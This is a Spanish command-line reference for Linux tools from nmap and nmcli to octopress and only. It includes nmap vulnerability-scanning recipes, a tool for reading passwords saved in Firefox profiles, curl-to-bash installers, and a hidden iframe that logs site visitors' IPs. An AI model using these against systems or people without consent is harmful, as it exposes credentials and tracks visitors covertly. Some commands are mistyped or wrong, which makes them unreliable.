# nmap --script ssh-hostkey --script-args ssh_hostkey=full host
```

```
# nmap --script ssh-hostkey --script-args ssh_hostkey=all host
```

```
# nmap -sV -sC --script-args ftp-anon.maxlist=-1 IP
```

Comprueba si un servidor ftp permite conexiones anónimas. El "-l" para desactivar el límite de 20 archivos

1.-

Fortificando nmap con los scripts vulcan

modulo que permite volver a NMAP en un escaneador de vulnerabilidades haciendo uso de un base de datos en formato .csv. Dichos csv son los siguientes: scipvuldb.csv (<http://www.scip.ch/en/?vuldb>), cve.csv (<http://cve.mitre.org>), osvdb.csv (<http://www.osvdb.org>), securityfocus.csv (<http://www.securityfocus.com/bid/>), securitytracker.csv (<http://www.securitytracker.com>), xforce.csv (<http://xforce.iss.net>), exploitdb.csv (<http://www.exploit-db.com>) y openvas.csv (<http://www.openvas.org>). Descargar vulcan de <http://www.compute.ch/projekte/vulscan/> y descomprimir el tar.gz. En la carpeta vulcan tendremos las bases de datos en formato cvs y un script nse. El nse lo colocamos con el resto de scripts de nmap en /usr/share/nmap/scripts/ y el resto de la carpeta vulcan la llevamos al mismo directorio de scripts:

```
# mv vulcan/vulscan.nse /usr/share/nmap/scripts/
```

```
# mv vulcan /usr/share/nmap/scripts/
```

Algunas formas de uso:

```
# nmap -sV --script=vulscan HOST
Comprobará todas las listas de vulnerabilidades)
```

```
# nmap -sV --script-args vulscandb=exploitdb HOST -p 80
Usando una base de datos concreta contra un puerto
```

Nota.- las bases de datos están completamente desactualizadas.

## nmblookup

[samba]. Resolución de nombres netbios

```
$ nmblookup -A 192.168.1.125
```

## nmcli

Herramienta de línea de comandos para controlar NetworkManager y para conocer su estado.

```
$ nmcli device wifi list
listar wifis cercanas
```

```
$ nmcli -m tabular device show
ver todos los dispositivos de red de forma tabulada. Otra opción es multiline
```

```
$ nmcli connection show
ver conexiones activas
```

```
$ nmcli connection
lo mismo
```

```
$ nmcli general status
estado
```

```
$ nmcli device wifi connect SSID_or_BSSID password password
conectarse a una wifi
```

```
$ nmcli device wifi connect SSID_or_BSSID password password hidden yes
conectarse a una wifi oculta
```

```
$ nmcli connection up name_or_uuid
conectarse a una red
```

```
$ nmcli -p -f general,wifi-properties device show wlan0
ver información extensa [p] y propiedades de los campos especificados [f]
```

## N

```
$ nmcli general permissions
permisos
```

```
$ nmcli device
listado de dispositivos de red y su estado
```

```
$ nmcli device disconnect ifname eth0
desconectarse de una interfaz
```

```
$ nmcli connection delete name_or_uuid
eliminar una conexión
```

```
$ nmcli radio wifi off
desactivar una wifi
```

```
$ nmcli general reload
reiniciar servicio despues de modificar una conexión
```

## nmon

Monitor del sistema

```
# nmon
arranca la aplicación y muestra las teclas de control para escoger lo que se monitorea. q para
cerrar la aplicación
```

## nnn

Administrador de archivos. Muestra en primer lugar los directorios y luego los archivos. La configuración personal se realiza en el archivo ~/.nnnrcp al estilo:

```
$ nano .nnnrcp
```

```
PWD: /home/USER
SHELL: /bin/bash (null)
EDITOR: nano (null)
```

```
$ nnn
```

Algunas teclas:

```
flechas derecha/izquierda (entrar/salir del directorio hacia/desde directorios superiores
o inferiores)
flechas arriba/abajo (subir/bajar en el arbol del directorio)
enter (abrir un archivo)
q (salir)
? (muestra las teclas de control))
```

## noclobber

Es una opción de la shell [ver set] que permite protegerse de un borrado involuntario de archivos. Esta opción se encuentra desactivada por defecto. Puede configurarse de forma permanente en el archivo .bashrc.

```
$ set -o noclobber
activarla
```

```
$ set +o noclobber
desactivarla
```

Veamos todo un proceso activando la opción y viendo como saltarsela:

```
$ date > fecha.txt (escribir la fecha en un archivo)
$ set -o noclobber (activar la opción)
$ date > fecha.txt (intentar de nuevo escribir en el archivo sin lograrlo)
bash: fecha.txt: Cannot overwrite existing file
$ date >| fecha.txt (saltarse la protección con >|)
```

## nodau

sencillo programa para tomar notas basado en consola. Le permite crear, editar y ver notas fácilmente, y buscarlas por nombre o fecha

```
$ nodau new linux
crear una nueva nota con el nombre "linux"
```

```
$ nodau edit linux
editar la nota "linux"
```

```
$ nodau list
listar todas las entradas
```

```
$ nodau list linux
ver si existe una nota llamada "linux"
```

```
$ nodau show linux
muestra el contenido de la nota "linux"
```

```
$ nodau encrypt emacs
encriptar la nota "emacs". Pide contraseña y confirmación
```

```
$ nodau decrypt emacs
pide contraseña y lo descripta sin mostrar
```

```
$ nodau append linux
añadir datos a la entrada "linux" sin sobrescribirla
```

```
$ nodau del linux
elimina la nota "linux"
```

## nohup

permite mantener activo un proceso, incluso después de haber cerrado la sesión de usuario.

```
$ nohup sleep 10000 &
lanzar el proceso
```

```
[1] 9215      (PID del proceso. Con CTRL-C liberamos el prompt y cerramos terminal)
```

```
$ pidof sleep
en otra terminal para verificar que el proceso sigue activo
```

```
$ kill -9 9215
matar el proceso
```

## noip2

Servicio de redireccionamiento de ip dinamica a fija. Requiere registro en [www.no-ip.com](http://www.no-ip.com)

```
# noip2 -C
Inicio de la configuración del servicio
```

```
Please enter the login/email string for no-ip.com (usuario registro no-ip.com)
Please enter the password for user usuario@email.com (Contraseña no-ip)
Please enter an update interval:[30] (Intervalo de tiempo para actualización)
Do you wish to run something at successful update?[N] (y/N) (intro)
New configuration file /etc/no-ip2.conf created.
```

```
# ps aux | grep noip
Comprobar si está corriendo el servicio
```

```
# noip2 -S
Muestra información sobre el proceso activo
```

```
# noip2 -K 1234
```



## N

```
Mata el proceso de noip con el número que le indiquemos
```

```
# noip2 -M
permite multiple instancias de noip2
```

```
# noip2 -i 192.168.1.2
Forzar a que noip2 actualice los dominios con la IP suministrada
```

```
# noip2 -I eth1
Forzar que noip2 se conecte a internet con la tarjeta de red especificada
```

Nota.- En algunas distros, para iniciar el servicio al inicio:

```
# nano /etc/rc.local
```

Y colocar, según donde se encuentre el ejecutable, la línea:

```
/usr/local/bin/noip2 &
```

## nologin

Muestra un mensaje de que una cuenta no está habilitada. Está destinado como un campo de shell de reemplazo para las cuentas que estan deshabilitadas.

```
# nano /etc/passwd
```

```
...
```

```
games:x:5:60:games:/usr/games:/usr/sbin/nologin
```

```
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
```

```
...
```

## nanoid

Crea contraseñas.

```
$ nanoid -s 10
de 10 letras mayúsculas y minúsculas
```

```
$ nanoid -s 15 -a .,-rtadls:_
de 15 aracteres usando los signos y letras especificados con -a
```

## normalize

Ajustar volumen.

```
$ normalize-audio *.wav
```

```
$ normalize-mp3 *.mp3
```

## normalizer

Informa de la codificación de origen utilizada en un archivo de texto. Normaliza el texto a Unicode.

```
$ normalizer text.txt
```

```
$ normalizer -n text.txt
normaliza el archivo de entrada. Si no se establece, el programa no escribe nada.
```

## notify

[libnotify-bin]. Aviso o notificación que lanza el sistema al producirse un evento o terminar una tarea.

```
$ notify-send "Linux es un sistema genial" -t 5000
```

Un ejemplo de uso para algunas tareas:

```
$ nano .bashrc
```

Añadir las siguientes dos líneas:

```
alias alert_helper='history|tail -n1|sed -e "s/^\s*[0-9]+\s*//" -e "s/;\s*alert$//"'
```

```
alias alert='notify-send -i /usr/share/icons/gnome/32x32/apps/gnome-terminal.png "[?]" $(alert_helper)'
```

Guardar y recargar bashrc:

```
$ source .bashrc
```

Otros ejemplos:

```
$ find /home/$USER -iname *.jpg; notify-send "El comando ha terminado su labor."
```

```
$ sleep 10; alert
```

```
$ find /home/$USER -iname *.jpg; notify-send -i gtk-dialog-warning -t 4000 "ATENCIÓN" "El comando find ha terminado..."
```

opciones:

-i especifica el icono a usar

-t tiempo en milisegundos que se mostrará la nota

## notus-scanner

Detecta productos vulnerables en el entorno de sistema. El método de escaneo consiste en evaluar la información interna del sistema detectando incluso productos inactivos porque no necesita interactuar con cada uno de los productos.

```
# notus-scanner
```

## npm

Gestor de paquetes para la plataforma JavaScript Node. Coloca los módulos en su lugar para que Node pueda encontrarlos y gestiona los conflictos de dependencias de forma inteligente. Más comúnmente, se utiliza para publicar, descubrir, instalar y desarrollar programas node. Los paquetes se pueden instalar de forma global o local. Cuando un paquete se instala globalmente, podemos hacer uso de la funcionalidad del paquete desde cualquier directorio de nuestro ordenador. Por otro lado, si instalamos un paquete localmente, sólo podemos hacer uso de él en el directorio donde fue instalado.

```
# npm i
instala todos los modulos necesarios
```

```
# npm init --yes
inicializar un proyecto. Se crea el archivo package.json
```

```
# npm up -g paquete1 paquete2
actualiza a la última versión paquete1 y paquete2
```

```
# npm i paquete -g
instalar un paquete de forma global
```

```
# npm c onfig list
ver ubicación de los paquetes globales npm
```

```
# npm list -g
```

## N

```
listar los paquetes globales instalados
```

```
# npm outdated -g
ver qué paquetes deben actualizarse
```

```
# npm run
lista de scripts disponibles
```

```
# npm restart
reiniciar un proyecto
```

```
# npm star
arrancar un proyecto
```

```
# npm stop
parar proyecto
```

```
# npm -g uninstall paquete
desinstalar un paquete global
```

## nproc

Muestra el número de procesadores o cores.

```
# nproc
```

## nrg2iso

Convertir imagen nrg a iso

```
$ nrg2iso imagen.nrg imagen.iso
```

## nrss

Lector de noticias rss. No acepta importación de archivos opml. La configuración en ~/.nrss/config. Un ejemplo:

```
$ nano .nrss/config
```

```
default_rate "5"
default_show "30"
default_maxitems "50"
# add feeds
add "http://www.hackplayers.com/feeds/posts/default?alt=rss" "hackplayers"
add "https://andalinux.wordpress.com/feed/" "informatico de guardia"
add "https://ubuntulife.wordpress.com/feed/" "ubuntu life"
# navegador
browser "/usr/bin/firefox %u"
```

Teclas de uso:

```
h (ver uso)
C (contraer todos los feeds)
Espacio (Contraer un feed o leer una historia)
g (ir a la url con el navegador definido)
x (Mostrar todas las noticias del feed)
r (Actualiza el feed actual)
R (Actualizar todos los feeds)
M (Marcar todo como leído)
q (salir)
```

## nscd

Demonio que cada vez que se reinicia, elimina los datos de la caché DNS. Para mayor efectividad colocar en el cron.

```
# /etc/init.d/nscd restart
```

## nsenter

Utilidad de Linux que permite ejecutar un comando en el espacio de nombres de un proceso en ejecución. Los espacios de nombres son una característica del kernel de Linux que proporciona entornos aislados para procesos y son utilizados por ejemplo, por Docker para crear contenedores aislados.

```
# nsenter --target 841052 --all ip a
Ejecutar el comando "ip" con el argumento "a" utilizando el mismo espacio de nombres que un proceso con pid 841052
```

Podemos sustituir "--all" por: --net, --pid, --ipc

```
# nsenter --target pid --net command command_arguments
Ejecutar un comando en el espacio de nombres de red de un proceso existente
```

```
# nsenter --target pid --pid command command_arguments
Ejecutar un comando en el espacio de nombres PID de un proceso existente
```

```
# nsenter --target pid --ipc command command_arguments
Ejecutar un comando en el espacio de nombres IPC de un proceso existente
```

```
# nsenter --target 841052 --uts --time --ipc -- ip a
Ejecutar el comando "ip" con el argumento "a" en los espacios de nombres UTS, time e IPC del proceso con pid 841052
```

```
# nsenter --pid=/proc/325/pagemap -- ip a
Ejecutar "ip a" de nombres de un proceso existente haciendo referencia a procfs
```

## nslookup

saber si las DNS resuelven correctamente los nombres y las IP

```
$ nslookup ip_o_nombre_host
```

```
$ nslookup 'curl ifconfig.me'
conocer la IP pública
```

1.-

Conocer las DNS del equipo:

```
$ nslookup (Darle enter y al entrar en el prompt colocar "server")
> server
Default server: 80.58.61.250
Address: 80.58.61.250#53
Default server: 80.58.61.254
Address: 80.58.61.254#53
```

## nss-passwds

Programa que lee las contraseñas en las claves utilizados por los productos de Mozilla, como Firefox y Thunderbird.

```
$ nss-passwds -d ~/pass -p pwdecrypt nombre
especificando el directorio del perfil. Por defecto el de Firefox, usando el programa pwdecrypt.
Por defecto pinentry y "nombre" que se buscará en las entradas de claves
```

## nstat

Muestra las estadísticas de la red.

```
$ nstat
$ nstat -z
Mostrando los contadores a cero. Por defecto no se muestran

$ nstat -a
Volcado absoluto de todos los contadores

$ nstat -r
Resetear los contadores
```

## ntfs-3g

[fuse]. Driver que permite modificar archivos en sistemas ntfs. La partición puede ser montada:

```
# mount -t ntfs-3g /dev/hda3 /media/win
```

O en el /etc/fstab con la línea:

```
/dev/hda3 /media/win ntfs-3g defaults 0 0
```

## ntfsclone

[ntfsprogs]. Permite la creación de particiones NTFS de Windows y su posterior restauración

```
# ntfsclone -s -o imagen.img /dev/sda1
crea el fichero imagen.img de la partición /dev/sda1

# ntfsclone -r -O /dev/sda1 imagen.img
Restaura la imagen en la partición que queramos
```

## ntfsfix

[ntfsprogs]. Reparación de inconsistencias en sistemas de archivos ntfs.

```
# ntfsfix /dev/sdb1
```

Finalizado el proceso, montarla:

```
# mount -t ntfs-3g /dev/sdb1 /media/win -o force
```

## ntfslabel

[ntfsprogs]. Poner etiquetas a las particiones y dispositivos ntfs

```
# ntfslabel -f -v /dev/sda1 win
```

## ntop

[graphviz gsfonsts-x11]. Monitor de red via navegador. Ha sido reemplazado por ntopng.

```
# ntop --set-admin-password
contraseña para el usuario "admin"

# gedit /var/lib/ntop/init.cfg
Comprobar interfaz de red. Por defecto eth0

# /etc/init.d/ntop restart
reiniciar
```

Visualizar los informes en el navegador <http://localhost:3000>

## ntopng

Muestra el uso de la red.

```
# ntopng -i eth0

# ntopng -d
# especifica el directorio de datos. Por defecto /var/lib/ntopng

# ntopng -i tcp://192.168.1.1:5556
# especificando protocolo, host y puerto
```

## ntpdate

Actualiza la hora del sistema via NTP (Network Time Protocol)

```
# ntpdate -u cl.pool.ntp.org
```

## number

[bsd-games]. Muestra como se muestran los números en inglés.

```
$ number -l 55

$ number
# Entra en el prompt para ir entrando números. q [enter] para salir
```

## numdiff

Aplicación que se puede utilizar para comparar archivos supuestamente similares línea por línea y campo por campo, ignorando pequeñas diferencias numéricas o diferentes formatos numéricos. Es similar a diff[ver], pero tiene en cuenta los números de coma flotante, incluidos los números complejos y de precisión múltiple. Numdiff es útil para comparar archivos de texto que contienen campos numéricos, al probar o realizar controles de calidad en computación científica o en análisis numérico.

```
$ numdiff archivo archivo1
```

## numfmt

Convertir números a formatos legibles por humanos.

```
$ numfmt --to=si 500000
$ numfmt --to=iec-i 500000
$ numfmt --from=si 1M
$ numfmt --from=auto 1Mi
$ numfmt --from=si --to=iec 1T
$ numfmt --from=auto --to=iec 1T
```

## numlockx

Activar el bloqueo numerico al inicio:

```
$ numlockx on/off
# activarlo/desactivarlo
```

## num-utils

Conjunto de programas para manejar números desde la línea de comandos. Al igual que otras utilidades de línea de comandos, como `grep`, `awk`, `sort`, `cut` o etc estas utilidades funcionan con datos tanto de archivos estándar como de archivos. Incluye los siguientes ejecutables: `numaverage` [programa para calcular el promedio de números], `numbound` [encuentra los números de límite mínimo y máximo de la entrada], `numinterval` [Muestra los intervalos numéricos entre cada número de una secuencia], `numnormalize` [Normaliza un conjunto de números entre 0 y 1 de forma predeterminada], `numgrep` [Como `grep` normal, pero para conjuntos de números], `numprocess` [Realiza operaciones matemáticas con números], `numsum` [Suma todos los números], `numrandom` [Genera un número aleatorio a partir de una expresión dada], `numrange` [Genera un conjunto de números en una expresión de rango] y `numround` [Redondea cada número según su valor]

## nuspell

Corrector ortográfico diseñado para idiomas con morfología rica y composición de palabras compleja.

```
$ nuspell
```

```
INFO: Locale LC_CTYPE=ca_ES.UTF-8, Input encoding=UTF-8, Output encoding=UTF-8
```

```
INFO: Pointed dictionary /usr/share/hunspell/ca_ES.aff
```

```
Enter some text:
```

```
$ nuspell file.txt
```

## nuttcp

Herramienta de medición del rendimiento de la red cliente/servidor.

```
$ nuttcp IP
```

```
uso básico
```

```
$ nuttcp -s IP
```

```
que la ip especificada sea el receptor
```

```
$ nuettcp - IP
```

```
que la ip especificada sea el transmisor
```

## nvme-cli

Medir la temperatura del SSD entre otros parámetros.

```
# nvme smart-log /dev/nvme0
```

```
uso básico
```

```
# nvme smart-log /dev/nvme0 | grep 'temperature'
```

## nvram-wakeup

Puede leer y escribir en la BIOS la hora de activación del encendido automático del pc si este tiene soporte RTC [soporte Real-Time Clock]. A la hora de arrancar, la computadora se encenderá automáticamente desde el estado de apagado. La utilidad `rtcwake` [ver] es un reemplazo moderno de `nvram-wakeup`.

```
# nvram-wakeup -w 7
```

```
Comenzar 7 minutos antes de la hora de arrancar [el valor predeterminado es 5, más que suficiente]
```

## **nvtop**

Interfaz de monitoreo basada en ncurses que proporciona información sobre los estados de GPU, utilización de memoria, temperatura, etc e información sobre los procesos que se se están ejecutando en las GPU.

```
$ nvtop
```

## **nwrite**

Enviar mensajes entre terminales

```
$ nwrite usuario /dev/pts/numero_consola
```

## **nyancat**

es un programa que muestra un gato popart animado en la terminal.

```
$ nyancat -n -s -f 50
```

```
sin contar el tiempo, sin título y parar a los 50 frames [5 segundos]
```



## o3read

wget <http://siag.nu/pub/o3read/o3read-0.0.4.tar.gz>

Paquete que contiene herramientas [o3tohtml, o3totxt] para convertir archivos en formato openoffice o libreoffice a html o txt. Los ficheros de openoffice/libreoffice son formatos comprimidos. El que contiene el texto es el archivo content.xml que es el que se ha de descomprimir con unzip antes de tunelarlo a la aplicación.

```
$ unzip -p archivo.odt content.xml | o3totxt > archivo.txt
```

```
$ unzip -p archivo.sxw content.xml | o3tohtml > archivo.html
```

## obconf

Herramienta para la configuración gráfica de entornos de escritorio ligeros (lxde, openbox...)

## objcopy

```
$ objcopy -O binary test test.bin
```

convierte a código máquina RAW un fichero ejecutable compilado

## objdump

```
$ objdump -S --disassemble /bin/bash > bash.asm
```

Descompila en código assembler un programa compilado. En el ejemplo se ha usado /bin/bash

## oblogout

Lanzar cuadro de diálogo para reiniciar, cerrar, suspender... en escritorios ligeros.

## obmenugen

Generador de menús para escritorios ligeros (openbox, fluxbox...)

```
$ obmenugen
```

## oclock

Muestra la hora actual en una pantalla analógica.

```
$ oclock -fg red -bg yellow -minute green -geometry 150x150
manecilla de las horas en rojo, fondo amarillo, la de los cuartos verde y geomatria 150x150
```

## octopress

[git-core curl zlib1g-dev libssl-dev build-essential libreadline-dev libaml]. CMS para gestión de contenido web que genera automáticamente los archivos html, css y javascript a partir de archivos de texto plano formateado en markdown (Ver) y sin utilizar base de datos.

Pasos previos para su instalación en Debian y derivados:

```
$ curl -L https://get.rvm.io | bash -s stable ruby
$ source ~/.rvm/scripts/rvm
$ rvm install 1.9.3
$ rvm use 1.9.3
$ rvm rubygems latest
```

En Arch (requiere el paquete curl):

```
$ curl -L get.rvm.io | bash -s stable
$ source ~/.rvm/scripts/rvm
$ rvm requirements
$ rvm install 1.9.3
$ rvm use 1.9.3 default
$ rvm rubygems current
```

Instalación de octopress:

```
$ git clone git://github.com/imathis/octopress.git octopress
$ cd octopress
$ gem install bundler
$ bundle install
$ rake install
```

Generar contenido (Ver markdown):

```
$ cd octopress
$ rake new_post[nombre_del_nuevo_post]
```

Crea un archivo en la carpeta /home/usuario/octopress/source/\_posts/ con el siguiente encabezado:

```
--
layout: post
title: Nombre_del_post
date: 2012-10-17 19:27
comments: true
categories:
--
Título del post [title], fecha [date], si permitimos o no comentarios [true/false] y catagorias [
categories] entre corchetes y separadas por comas [comandos, redes]
```

A continuación de este encabezado introducimos la entrada del post. Al finalizar la entrada para generar el archivo en la carpeta public:

```
$ rake generate
```

Para visualizarlo en local [http://localhost:4000] lanzar:

```
$ rake preview
```

Y no cerrar la terminal. Para matar la previsualización pulsar Ctrl +c

La configuración del título del blog, subtítulo, autor, etc. Algunos parámetros a especificar:

```
$ nano _config.yml
```

```
url: http://crontux.homelinux.com
title: TRACTATUS ELEMENTALIS
subtitle: Apuntes sobre Bash. GNU/Linux a tope.
author: lapipaplana
simple_search: http://google.com/search
description: Orgasmos con Gnu/linux
date_format: "%d-%m-%Y"
search_text: "Buscar"
paginate: 10
pagination_dir: blog
recent_posts: 10
excerpt_link: "Leer m&aacute;s &rarr;"
code_dir: downloads/scripts
# Twitter
twitter_user: templix
twitter_tweet_count: 6
twitter_show_replies: false
twitter_follow_button: true
twitter_show_follower_count: false
twitter_tweet_button: true
# Google Plus Profile
# Hidden: No visible button, just add author information to search results
googleplus_user: 107431970267257491799
googleplus_hidden: false
Para la creación de nuevas páginas:
```

```
$ rake new_page[previa]
```

Si queremos que la nueva página salga en una pestaña "previa" en la cabecera:

```
$ nano source/_includes/custom/navigation.html
```

```
<li><a href="/previa">Prevía</a></li>
En este archivo tambien se pueden personalizar los nombres de las pestañas. Si queremos una
pestaña con un enlace a una web:
```

```
$ nano source/_includes/custom/navigation.html
```

```
<li><a href="http://www.lapipaplana.net">Web</a></li>
1.-
```

Crear un apartado "Sobre mi" en el sidebar con una imagen web en el centro de la línea:

```
$ nano source/_includes/custom/asides/about.html
```

Con el siguiente contenido:

```
<section>
  <h1>Sobre mi</h1>
  <center>
    
    </center>
    <p>Cualquier texto explicativo</p>
  </section>
Luego añadir el achivo en:
```

```
$ nano _config.yml
```

en la línea:

```
default_asides: [asides/num_entradas.html, asides/recent_posts.html, custom/asides/about.
  html]
2.-
```

Para mostrar archivo con código [script.sh, por ejemplo] se ha de colocar en texto plano en la ruta especificada en \_config.yml, línea code\_dir [downloads/scripts/ en este caso] y si lo queremos en la barra de navegación:

```
$ nano source/_includes/custom/navigation.html
```

Y añadir la línea:

```
<li><a href="{{ root_url }}/scripts">Scripts</a></li>
Si lo colocamos en un post, llamarlo con:
```

```
% include_code script.sh lang:bash script.sh %
Al principio de la linea antes del % colocar una llave abierta y al final despues del % la cerrada
. Se han omitido porque Octopress lo interpreta.
```

Nota.- Despues de cualquier modificación en las entradas o en los archivos de configuración lanzar:

```
$ rake generate
```

3.-

Instalar un nuevo tema:

```
$ git clone git://github.com/tommy351/Octopress-Theme-Slash.git .themes/slash
```

```
$ rake install['slash']
```

```
$ rake generate
```

4.-

Para que las busquedas se realicen en el mismo site y no en la web:

```
$ nano _config.yml
```

Modificar la linea:

```
simple_search: http://www.google.com/search?q=site%3Awww.lapipaplana.net&q=
5.-
```

Quitar la fecha del post en la url:

```
$ nano _config.yml
```

Y dejar la linea:

```
permalink: /blog/:title/
```

Con lo que si se borran entradas antiguas para sustituirlas por otras nueva con el mismo nombre, la indexación de google no se pierde.

6.-

Colocar en el sidebar un blogroll

Crear el fichero:

```
$ nano source/_includes/asides/blog_roll.html
```

Con el siguiente contenido, adaptado según gustos:

```
<section>
  <h1>Blogs útiles</h1>
  <ul>
    <li><a href="http://distrowatch.com">distrowatch</a></li>
    <li><a href="http://es.wikipedia.org/wiki/Lista_de_n%C3%BAmeros_de_puerto">
      Listado de puertos</a></li>
    <li><a href="http://livecdlist.com/">LiveCDs</a></li>
  </ul>
</section>
Editar:
```

```
$nano _config.yml
```

Y añadir asides/blog\_roll.html a la linea:

```
default_asides: [asides/recent_posts.html, asides/twitter.html, asides/blog_roll.html]
7.-
```

Modificar el "Posted by" por "Escrito por"

```
$ nano source/_includes/post/author.html
```

Modificar la linea que empieza por "if author":

```

8.-      <span class="byline author vcard">Escrito por <span class="fn">{{ author }}</span></span>

```

Mostrar datos del visitante de la web:

Crear:

```
$ nano octopress/source/_includes/asides/ip_visitante.html
```

Con el siguiente contenido:

```

<section>
    <h1>Datos visitante</h1>
    <script type="text/javascript" src="http://boastology.com/tools/ip2c/?im=1&cn
        =1&ip=1"></script>
</section>
Las opciones de la url, aunque no siempre funcionan correctamente, son:

```

```

im=1 (1 mostrar bandera, 0 no mostrar)
cn=1 (1 mostrar nombre país, 0 no mostrar)
ip=1 (1 IP, 0 no mostrar)

```

```
$ nano _config.yml
```

Y añadir a la línea `default_asides` el archivo según el lugar que queremos que ocupe en el sidebar [ en tercer lugar en este ejemplo]:

```

9.-      default_asides: [asides/num_entradas.html, asides/recent_posts.html, asides/ip_visitante.
        html]

```

Para especificar una imagen en octopress, la sintaxis es:

```

{% img center http://www.lapipaplana.net/wp-content/uploads/2011/06/lapipaplana.png
    La_Pipa_Plana %}
Con medidas determinadas y en la derecha:

```

```

10.-      {% img right http://www.lapipaplana.net/wp-content/uploads/2011/06/lapipaplana.png 150 250
        La_Pipa_Plana %}

```

Modificación de colores. Por ejemplo la barra de navegación:

```
$ nano sass/custom/_colors.scss
```

Buscar la variable `$nav-bg`, descomentarla (quitarle las dos `//`) y colocar el código de color escogido:

```

11.-      //$subtitle-color: lighten($header-bg, 58);
        $nav-bg: desaturate(lighten(#C68800, 18), 5);
        //$nav-bg-front: image-url('noise.png');

```

Colocar una imagen en el header que previamente habremos copiado en el directorio `source/images/`:

```
$ nano sass/custom/_styles.scss
```

Y pegamos:

```

12.-      header[role="banner"] {
        background-image: url(/images/tux.png);

        background-position:left;

        background-repeat: no-repeat;

    }

```

Quitar la opción RSS de la barra de navegación:

```
$ nano source/_includes/navigation.html
```

Y borrarlo en la línea `"site.subscribe_rss"`

## O

13.-

Centrar el título del blog:

```
$ nano source/_includes/custom/header.html
```

Y dejarlo:

```
<hgroup>
  <div align=center>
    <h1><a href="{{ root_url }}">{{ site.title }}</a></h1>
    {% if site.subtitle %}
      <h2>{{ site.subtitle }}</h2>
    </div>
    {% endif %}
  </hgroup>
13.-
```

Resolver el error en el rake preview "WARN TCPServer Error: Address already in use - bind(2)"

```
$ lsof -i4000
Para conocer el pid del proceso
```

```
$ kill -9 PID
```

14.-

Llevar un archivo de las visita al site:

Crear en la carpeta web el archivo:

```
nano /var/www/getip.php
```

Con el siguiente contenido:

```
<?php
$userip = $_SERVER['REMOTE_ADDR'];
$file = fopen('ips_visitantes.txt', 'r');
$filedata = fgets($file);
fclose($file);
$file = fopen('ips_visitantes.txt', 'a');
fwrite($file, "\n$filedata\n$userip");
fclose($file);
?>
Y luego en la carpeta octopress:
```

```
$ nano source/_includes/after_footer.html
```

Añadir al final:

```
<div style="width: 1px; height: 1px; overflow: hidden; position: absolute; left: -1000px">
<iframe src="http://crontux.homelinux.com/getip.php"></iframe>
</div>
15.-
```

Para que las url se abran en una nueva pestaña.

```
$ nano source/javascripts/links.js
```

Y pegamos:

```
$(document).ready(function(){
  $('a').each(function() {
    var a = new RegExp('/') + window.location.host + '/';
    if(!a.test(this.href)) {
      $(this).click(function(event) {
        event.preventDefault();
        event.stopPropagation();
        window.open(this.href, '_blank');
      });
    }
  });
});
```

```
$ nano source/_includes/head.html
```

## O

Añadir la linea:

```
<script src="(( root_url ))/javascripts/links.js"></script>
Nota.- Los 4 parentesis que abren y cierran el código "root_url" han de substituirse por llaves
"{{" " }}".
```

16.-

Añadir en el sidebar las sección "Entradas más populares" [Popular posts]

```
$ cd octopress
```

```
$ nano Gemfile
```

Y añadir al final la linea:

```
gem 'octopress-popular-posts'
```

```
$ bundle install
```

```
$ bundle exec octopress-popular-posts install
```

```
$ nano _config.yml
```

Añadir al final la linea [5 es el número de posts que saldrán]:

```
popular_posts_count: 5
```

Y en la linea "default\_asides:" añadimos en el lugar que deseemos:

```
default_asides: [...ent_posts.html, custom/asides/popular_posts.html,custom/asid...]
```

```
$ nano .gitignore
```

Aadir la linea:

```
.page_ranks
```

```
$ nano source/_includes_custom/asides/popular_posts.html
```

Y substituir "Popular posts" por "Entradas más vistas"

Para mantener actualizado el plugin lanzar de vez en cuando:

```
$ bundle exec octopress-popular-posts install
```

17.-

Subir el blog a heroku.

Crear una cuenta en <<http://www.heroku.com>>

```
$ gem install heroku (Instalar la gema)
$ cd octopress (Entrar en el directorio)
$ heroku create (Pedirá las credenciales de la cuenta)
$ git config branch.master.remote heroku (Implementar el control remoto via git)
$ rake generate (Regenerar el site)
$ git add . (Añadir el proyecto)
$ git commit -m 'site updated' (Commit de los cambios)
$ git push heroku master (Subir el sitio local a heroku)
Una vez subido por primera vez el sitio, las siguientes modificaciones se reflejarán con:
```

```
$ rake generate
$ git commit -a -m "pequeño_comentario_de_los_cambios"
$ git push heroku master (En algunas ocasiones es suficiente con "git push")
```

## od

Vuelca ficheros en octal

```
$ od -x fichero
```

```
$ cat texto.txt | od -x texto.octal
```

## odt2txt

Pasar archivos .odt a texto plano.

```
$ odt2txt archivo.odt output=archivo.txt
```

```
$ odt2txt archivo.odt | grep palabra
Buscar una palabra en un odt. Muestra el resultado en pantalla
```

## ofris-en

Programa que congela los cambios realizados en el sistema. Tanto la modificación de los archivos como las configuraciones desaparecerán al reiniciar el equipo. Una vez aplicada la función de "congelar" es posible realizar cambios en la máquina y probar software potencialmente peligroso, ya que al reiniciar el sistema todo volverá a estar como estaba antes de "congelarlo". Arrancar la aplicación con:

```
# ofris-en
```

Y mostrará un menú de opciones:

1. Congelar un usuario
2. Congelar un usuario que se especifica
3. Congelar todos los usuarios
4. Descongelar todos los usuarios
5. Ver el estado actual de la aplicación
6. Salir

## ogg123

[vorbis-tools]. Reproductor de música para archivos .ogg

```
$ ogg123 archivo.ogg
forma básica
```

```
$ ogg123 ~/Música/*
reproducirá todos los .ogg de la carpeta mencionada
```

## olive

Lector rss

```
$ olive archivo.opml
importar las fuentes
```

## omv-initsystem

Inicializa openmediavault en esta distribución de GNU/Linux basada en Debian. Es necesaria su ejecución para un correcto funcionamiento

```
# omv-initsystem
```

## omv-sysinfo

En la distribución OpenMediaVault basada en Debian GNU/Linux muestra la información del sistema en formato json

```
# omv-sysinfo
```



## on\_ac\_power

[powermgmt-base]. Determina si el sistema funciona con batería o con red eléctrica.

```
$ on_ac_power
```

## oneko

Un gato persigue el cursor por la pantalla mientras trabajas. Alternativamente, un perro persigue un hueso. Hay opciones de menú para iniciar y detener el programa fácilmente en los modos perro y gato. Otras variaciones y configuraciones detalladas están disponibles a través de opciones de línea de comando.

```
$ oneko -dog -fg yellow -speed 20
un perro, amarillo y a 20 de velocidad, por defecto 16
```

```
$ oneko -neko
un gato. Otras alternativas: -sakura y -tomoyo
```

## only

Herramienta que permite buscar según patrones de palabras o patrones de líneas.

```
$ only -l palabra text.txt
muestra la línea donde sale "palabra"
```

```
$ only -w /palabra/0:5 text.txt
muestra "palabra" y las siguientes 5 palabras
```

```
$ only -w 2/palabra/0:4 text.txt
muestra la 2ª vez que sale "palabra" y las siguientes 4 palabras
```

```
$ only -l 3/palabra text.txt
muestra la 3ª línea donde sale "palabra"
```

```
